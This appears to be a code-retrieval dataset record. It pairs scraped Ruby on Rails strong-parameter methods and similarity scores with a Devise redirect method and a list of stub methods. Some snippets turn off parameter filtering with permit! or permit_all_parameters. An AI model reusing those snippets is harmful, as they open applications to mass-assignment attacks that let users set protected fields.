"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.6292164",
"0.62917984",
"0.62836355",
"0.6242686",
"0.6241917",
"0.62210834",
"0.6214862",
"0.62125784",
"0.619428",
"0.617912",
"0.617705",
"0.61735916",
"0.6163706",
"0.61532795",
"0.6152666",
"0.6148062",
"0.6123372",
"0.61180484",
"0.61088324",
"0.6106139",
"0.60925204",
"0.608326",
"0.60711503",
"0.606551",
"0.60216546",
"0.6018924",
"0.6015004",
"0.60106766",
"0.6008301",
"0.6008301",
"0.60028726",
"0.60020626",
"0.5999236",
"0.59931505",
"0.5993037",
"0.59917194",
"0.5982164",
"0.5968051",
"0.5960277",
"0.5960268",
"0.5960012",
"0.59594494",
"0.5954652",
"0.5954304",
"0.59440255",
"0.59404963",
"0.59404963",
"0.59401006",
"0.593522",
"0.5932182",
"0.5925528",
"0.5924541",
"0.5918796",
"0.59123147",
"0.5910144",
"0.5909186",
"0.5907257",
"0.5899382",
"0.5897783",
"0.58972496",
"0.58958495",
"0.58948576",
"0.5892734",
"0.5888056",
"0.58843875",
"0.58818483",
"0.5873746",
"0.58700997",
"0.5870056",
"0.5869255",
"0.58668107",
"0.58662325",
"0.5865003",
"0.5862908",
"0.5862406",
"0.58614665",
"0.5859661",
"0.585562",
"0.5855185",
"0.58523446",
"0.58504915"
] | 0.0 | -1 |
Logs the action click | def log_action_click(interface, slot, item_id)
case interface
when 3214 # Inventory = EquipItem or Eat food, or break a teletab (not really)
log "Got Inventory Tab 1stActionClick: [slot]: #{slot} || [item]: #{item_id} || [interface]: #{interface}"
when 1688 # EquipmentTab
log "Got Equipment Tab 1stActionClick: [slot]: #{slot} || [item]: #{item_id} || [interface]: #{interface}"
else log! "ActionClick: [slot]: #{slot} || [item]: #{item_id} || [interface]: #{interface}"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def action\n trigger :click\n end",
"def log_action msg\n\t\t\t\tputs '=> ' + msg\n\t\t\tend",
"def log_action actions, opts={}\n make_log_action_call actions, opts\n end",
"def log(action, *args)\n say format('%15s %s', action, args.join(' '))\n end",
"def click_action\n raise NotImplementedError \"Subclasses must implement this method\"\n end",
"def on_click\n\t\tend",
"def basic_click()\n scroll_to_visible\n @driver.sc_basic_click action_target, *action_locator_args\n stall :click\n end",
"def click\n p [ :app_click ]\n view.click\n end",
"def click\n Log.Trace(\"Clicking on #{@symbolicName}\")\n mouseClick(waitForObject(@symbolicName))\n Log.AppendLog(@@logCmd.click(self))\n end",
"def action_run\n end",
"def click; end",
"def click; end",
"def click; end",
"def action_target()\n \n end",
"def clicked(e)\n \n end",
"def click_action(action)\n dom_reader.find_element(self.values).find(\"[data-action='#{action}']\").click\n end",
"def record(action, *arguments)\n log \"#{action_padding(action)}#{action} #{arguments.join(' ')}\"\n end",
"def click\n raise \"Must implement custom click method.\"\n end",
"def action(a)\n @actions << a\n puts a.msg\n end",
"def click_through\n if ClickEvent.create!(hash_params)\n logger.info \"Databse Entry created\"\n else\n logger.error \"\\n\\nError on #{Date.today}:\"\\\n \"\\n\\tIp Address: #{request.ip}\"\\\n \"\\n\\Access Path: #{request.path}\"\\\n \"\\n\\tBrowser Type: #{request.user_agent}\"\n end\n redirect_to @decoded[:redirect]\n end",
"def log_on_button\n $tracer.trace(__method__)\n return ToolTag.new(input.value(\"Log On\"), __method__)\n end",
"def log_action(action, user, record, model)\n begin\n # Create a new ActionLog Object\n event = ActionLog.new()\n \n # Add the user to this object\n event.user = user\n \n # Add the action to this object\n event.action = action\n \n # Save the model type and its record ID(s) to this object\n event.target = model.to_s + ':' + record.to_s\n \n # Save the time of the event\n event.time_of_action = (Time.now.getutc - 7*60*60).to_s.gsub('UTC','PST')\n \n # Save this event to database\n event.save!\n\n rescue => e\n \n end\n end",
"def action_hook; end",
"def record(action, *arguments)\n return if options[:quiet] && ACTION_CAN_BE_QUIET[action]\n msg = \"\"\n if time\n msg << Time.now.strftime(\"%I:%M:%S.%3N %p\")\n end\n msg << color(ACTION_COLORS[action])\n msg << \"#{action_padding(action)}#{action}\"\n msg << color(:clear)\n msg << \" #{arguments.join(' ')}\"\n log msg\n end",
"def action\n raise( NotImplementedError, I18n.t( \"events.actions.event_logger_action_error\" ) )\n end",
"def act\n end",
"def action\n driver.action\n end",
"def dClick\n doubleClick(waitForObject(@symbolicName))\n Log.AppendLog(@@logCmd.dClick(self))\n end",
"def clicked\n @return.clicked\n end",
"def clicked;end",
"def action\n end",
"def clicked\n if @alert_view != nil\n @alert_view.clicked\n else\n @current_view.clicked\n end\n end",
"def clicked\n @menu_click_sound.play(0.7, 1, false)\n @buttonLogin.clicked\n @buttonClassicAI.clicked\n @buttonOttoAI.clicked\n @buttonHelp.clicked\n\n @buttonHelpLogin.clicked\n @buttonHelpClassicAI.clicked\n @buttonHelpOttoAI.clicked\n end",
"def mouse_clicked\n\t\t# Send the mouse click to the Interaction Controller. It'll do the dirty work.\n\t\t@interaction_controller.mouse_clicked\n\t\tputs \"Editor#mouse_clicked\"\n\tend",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action\n args.first\n end",
"def action\n end",
"def record(action, *arguments)\n msg = \"\"\n msg << color(ACTION_COLORS[action]) if Compass.configuration.color_output\n msg << \"#{action_padding(action)}#{action}\"\n msg << color(:clear) if Compass.configuration.color_output\n msg << \" #{arguments.join(' ')}\"\n log msg\n end",
"def log_cmd(action)\n\t\twidth = _screen_width\n\t\tcmd = action.cmd.downcase\n\t\tcolor = _cmd_color(cmd)\n\t\tcmd = cmd.ljust(@max_cmd_size)\n\t\tmax_args_size = width-cmd.size-1-6-1-1\n\n\t\tprint \"#{_fmt(color, cmd)} \"\n\t\ts = action.args(true).join(' ')\n\t\ts = s[0...max_args_size-3]+'...' if s.size > max_args_size\n\t\tprint s.ljust(max_args_size)\n\t\t$stdout.flush\n\n\t\t_save_cursor\n\t\tcolor = :green\n\t\ttext = 'OK'\n\t\tret = yield\n\t\tif not ret\n\t\t\tcolor = :yellow\n\t\t\ttext = 'SKIP'\n\t\tend\n\t\t_restore_cursor\n\t\tputs \" #{_block(color, text, 5)}\"\n\t\t$stdout.flush\n\t\tret\n\trescue\n\t\t_restore_cursor\n\t\tputs \" #{_block(:red, 'ERROR', 5)}\"\n\t\t$stdout.flush\n\t\traise\n\tend",
"def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end",
"def clicked\n router.navigated\n end",
"def on_click(elem)\n elem.fire_event('onClick')\n end",
"def click()\n mouse_down\n mouse_up\n stall :click\n end",
"def action\n action_name.to_sym\n end",
"def clicked(mouse_event)\n end",
"def fire_action_event\n require 'canis/core/include/ractionevent'\n fire_handler :PRESS, ActionEvent.new(self, :PRESS, text)\n end",
"def click\n @clicked_x = @x\n @clicked_y = @y\n fire(:click, @clicked_x, @clicked_y)\n end",
"def click\r\n start_point = screen.find ident\r\n click_x = start_point.x + offset_x\r\n click_y = start_point.y + offset_y\r\n\r\n screen.click click_x, click_y\r\n end",
"def actionPerformed(actionEvent)\n #puts actionEvent.getSource.getAction.snippet.code\n end",
"def log_action(object, method, opts)\n object_id = object.data_object_id if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\" || object.class.name == \"UsersDataObject\"\n object_id = object.id if object_id.blank?\n\n if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\"\n he = object.hierarchy_entry\n elsif object.class.name == \"HierarchyEntry\"\n he = object\n end\n\n if method == :add_association || method == :remove_association\n changeable_object_type = ChangeableObjectType.send(\"CuratedDataObjectsHierarchyEntry\".underscore.to_sym)\n else\n changeable_object_type = ChangeableObjectType.send(object.class.name.underscore.to_sym)\n end\n\n auto_collect(@data_object) # SPG asks for all curation to add the item to their watchlist.\n CuratorActivityLog.create(\n :user => current_user,\n :changeable_object_type => changeable_object_type,\n :object_id => object_id,\n :activity => Activity.send(method),\n :data_object => @data_object,\n :hierarchy_entry => he,\n :created_at => 0.seconds.from_now\n )\n end",
"def log_transaction\n repo.log_action(user_name: @user.user_name, context: @context.context, route_url: @context.route_url)\n end",
"def perform_action(*args)\n end",
"def clicked\n # @cancel.clicked\n end",
"def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end",
"def click\n @mech.click self\n end",
"def perform(action)\n @action_name = action\n begin\n self.send(@action_name)\n rescue\n Skates.logger.error {\n \"#{$!}:\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n self.render\n end",
"def action(event)\n @neko.send event.target[:action]\n end",
"def trackClick(selector, *args)\n raise 'Not enough arguments' if args.empty?\n raise 'Too many arguments' if args.size > 2\n\n queue << ['trackClick', selector, *args]\n end",
"def actions; end",
"def log\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def log_dispatch(robot, route)\n robot.logger.debug I18n.t(\n \"lita.handler.dispatch\",\n handler: name,\n method: route.callback.method_name || \"(block)\"\n )\n end",
"def logged_actions\n versions.actions\n end",
"def logged_actions\n versions.actions\n end",
"def run_actions; end",
"def track_event(action)\n\t\t\tif params['ga_tracking_id'] and params['ga_client_id']\n\t\t\t\ttracker = Staccato.tracker(params['ga_tracking_id'], params['ga_client_id'], ssl: true, document_hostname: params['ga_hostname'])\n\t\t\t\ttracker.event(category: 'support', action: action, value: 1)\n\t\t\tend\n\t\tend",
"def actions\n %w{capture void}\n end",
"def log(action, msg=nil, level=Logger::INFO)\r\n app.log(action, msg, level) { yield }\r\n end",
"def actions\n ['capture', 'void', 'credit']\n end",
"def track_click\n with_monitoring do\n Faraday.post(url_with_params, '')\n end\n rescue => e\n e\n end",
"def issue_action\n request.request_parameters['action']\n end",
"def process_action(...)\n send_action(...)\n end",
"def log_message_for(action)\n case action\n when :up then \"Bringing up #{description}\"\n when :halt then \"Halting #{description}\"\n when :destroy then \"Destroying #{description}\"\n when :reload then \"Reloading #{description}\"\n when :suspend then \"Suspending #{description}\"\n when :resume then \"Resuming #{description}\"\n else nil\n end\n end",
"def perform_action action_name, *args\n raise \"No such action #{action_name} defined for current page\" if !@current_page[:page_data].user_data['actions'].has_key?(action_name)\n # override locator from config file if needed\n if args[0].is_a?(Hash) and args[0].has_key?('locator')\n locator = args[0]['locator']\n else\n locator = @current_page[:page_data].user_data['actions'][action_name]['locator']\n end\n # search the entire dom or just under the current element\n if args[0].is_a?(Hash) and args[0].has_key?('root_search')\n dom = args[0]['root_search'].eql?(true) ? @driver : @element\n else\n dom = @driver\n end\n # perform the search\n @element = dom.find_element(locator)\n # json contains only a predefined set of instructions\n if action_name.include?('click')\n @element.click\n elsif action_name.include?('type')\n @element.send_keys args[0]\n elsif action_name.include?('submit')\n @element.submit\n elsif action_name.include?('inspect')\n @element\n else\n raise \"Don't know how to perform this action\"\n end\n # wait for a specific element or page to be present after the action\n wait_and_update @current_page[:page_data].user_data['actions'][action_name]['wait']\n end",
"def custom\n begin\n $results.log_action(\"button(#{@params[0]})\")\n if @driver.find_element(:id, \"btn-\" + @params[0]).displayed?\n @driver.find_element(:id, \"btn-\" + @params[0]).click\n $results.success\n else\n $results.fail(\"button(#{@params[0]})\")\n end\n rescue NoMethodError => ex\n puts \"\\nAn error of type #{ex.class} happened in #{@params[0]}.\\n\"\n rescue Exception => ex\n puts \"\\nAn error of type #{ex.class} happened in #{@params[0]}.\\n\"\n $results.fail(\"button(#{@params[0]})\", ex)\n end\n end",
"def ui_action(message)\n puts message\n yield\n end",
"def clicks(input)\n get_method(:clicks, input)\n end",
"def action(message)\n print(6, message)\n end",
"def track_action(*actions)\n around_filter ActionTracker, only: actions\n end",
"def action args = {}\n\t\tend",
"def log_action_summary(event)\n env = event.payload\n info do\n \"[#{req_id(env)}] #{req_origin(env)} -> #{res_result(env)} \" \\\n \"(#{event.duration.round(1)}ms)\"\n end\n end",
"def unclicked(e)\n puts \"Unclicked!\"\n end",
"def exit_clicked()\n GeneralEvent.log(\"BUTTON_CLICK\", \"Admin Exit Button Clicked\")\n emit change_screen(Environment::LOGIN)\n end",
"def action\n @action ||= flow.execute\n end",
"def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend",
"def print_current_action\n p phase_sequence[battle_phase].call\n end",
"def after_click(clicker)\n end",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def actionName _args\n \"actionName _args;\" \n end",
"def mouse_clicked(event)\n \n puts \"IN schemasTreeTable_mouse_clicked : #{event.inspect}\"\n puts \"MOUSE #{event.class} : #{event.getClickCount} : BUTTON #{event.getButton}\"\n\n # Double Click => EDIT\n if(event.getClickCount == 2)\n puts \"edit\"\n \n elsif( event.getButton == java.awt.event.MouseEvent::BUTTON3)\n \n transfer[:event] = event\n\n listener = PopupActionListener.new( self )\n\n items = [\"Select All\", \"Clear\"]\n\n listener.add_callback_method(\"Select All\", :select_all_action_performed )\n\n listener.add_callback(\"Clear\") do\n puts \"CLEAR SCHEMA SELECTION\"\n end\n\n pmenu = PopupMenuController.create_instance\n\n pmenu.open(event, items, listener )\n end\n end",
"def set_current_action\n @visitor.current_action = @_action_name\nend",
"def click(btn = 'left')\n compatible_call :click, btn\n end",
"def action\n puts \"use command!\\n\\n\"\n end",
"def action_name; end",
"def click locator\r\n command 'click', locator\r\n end"
] | [
"0.7361727",
"0.7144176",
"0.6754271",
"0.6728537",
"0.67092156",
"0.6479343",
"0.6474727",
"0.63606113",
"0.6337426",
"0.63166696",
"0.629809",
"0.629809",
"0.629809",
"0.6292891",
"0.62788",
"0.6252514",
"0.6192347",
"0.6139331",
"0.6138641",
"0.6094006",
"0.60742503",
"0.6072775",
"0.60580117",
"0.60419154",
"0.60343605",
"0.60266054",
"0.6014851",
"0.5996338",
"0.59927833",
"0.5986093",
"0.5985316",
"0.59578276",
"0.5951314",
"0.5938347",
"0.59369975",
"0.59369975",
"0.59369975",
"0.59369975",
"0.59369975",
"0.5915994",
"0.590291",
"0.58877647",
"0.5884292",
"0.5882647",
"0.5821029",
"0.5820877",
"0.5817252",
"0.58053803",
"0.57934225",
"0.57688075",
"0.57599795",
"0.574749",
"0.5732492",
"0.57192934",
"0.5703115",
"0.5701353",
"0.5701183",
"0.5681045",
"0.5678521",
"0.5675169",
"0.5652082",
"0.5632105",
"0.5630332",
"0.5607253",
"0.5603743",
"0.5603743",
"0.5599157",
"0.5599157",
"0.55961573",
"0.55944234",
"0.55869305",
"0.5586899",
"0.55473435",
"0.55454147",
"0.5541555",
"0.55229837",
"0.5519808",
"0.55191535",
"0.550802",
"0.55043054",
"0.5496167",
"0.5494725",
"0.54926413",
"0.54896265",
"0.5476531",
"0.5469769",
"0.54664356",
"0.5460897",
"0.545819",
"0.5447576",
"0.54468757",
"0.54406404",
"0.54406404",
"0.54273933",
"0.54258806",
"0.54229015",
"0.54218256",
"0.54197484",
"0.5411705",
"0.5406989"
] | 0.6429884 | 7 |
Then add another method underneath it: | def after_confirmation_path_for(resource_name, resource)
if user_signed_in?
root_path
else
new_user_session_path
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def methods() end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def custom; end",
"def custom; end",
"def method_added(*) end",
"def extended(*) end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def method2() end",
"def method\n\t\t# code code\n\tend",
"def operations; end",
"def operations; end",
"def implementation; end",
"def implementation; end",
"def method_one; end",
"def method_one\n end",
"def method_one\n end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def call; end",
"def delegating_method; end",
"def extra; end",
"def method_added(name); end",
"def method_added(name); end",
"def wrapper; end",
"def private; end",
"def schubert; end",
"def call() end",
"def add_actions; end",
"def overrides; end",
"def method\r\nend",
"def _add_method\n :\"_add_#{singularize(self[:name])}\"\n end",
"def calls; end",
"def calls; end",
"def begin_adding(*) end",
"def call\n # implement in subclasses\n end",
"def suivre; end",
"def add_method(method)\n @display.print_method method\n end",
"def method_missing(method, *args, &block)\n\t add_symbol = ('add_' + method.to_s).to_sym\n\t if @sketch.respond_to? add_symbol\n\t\t@sketch.send(add_symbol, *args, &block)\n\t elsif @sketch.respond_to? method\n\t\t@sketch.send method, *args, &block\n\t elsif @self_before_instance_eval.respond_to? method\n\t\t@self_before_instance_eval.send method, *args, &block\n\t else\n\t\tsuper if defined?(super)\n\t end\n\tend",
"def add \n end",
"def anchored; end",
"def operation; end",
"def probers; end",
"def introduce\n\nend",
"def internal; end",
"def original_method; end",
"def weber; end",
"def add_method(name)\n self.push_literal name\n self.push_context\n self.send :__add_method__, 2\n end",
"def method_731(base); end",
"def under; end",
"def method1; end",
"def done_adding(*) end",
"def method_added(name)\n super\n return unless public_method_defined?(name)\n\n unless @hidden || @all_hidden\n if documentation.respond_to?(:add_method)\n documentation.add_method(name.to_s)\n end\n end\n\n @hidden = false\n end",
"def add\n end",
"def add\n end",
"def super_method; end",
"def method_added(method)\n return unless @current_doc_link\n\n @doc_urls ||= {}\n @doc_urls[method] = @current_doc_link\n\n # Prevent infinite recursion on define_method below\n @current_doc_link = nil\n\n alias_method \"old_#{method}\".to_sym, method\n\n define_method(method) do |*args|\n begin\n send(\"old_#{method}\", *args)\n rescue Exception => e\n msg = e.message + \"\\n\\nPlease refer to this URL for additional information on this API call:\\n#{self.class.api_docs(method)}\\n\" \n raise e, msg, e.backtrace\n end\n end\n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def add\n\nend",
"def add\n\tend",
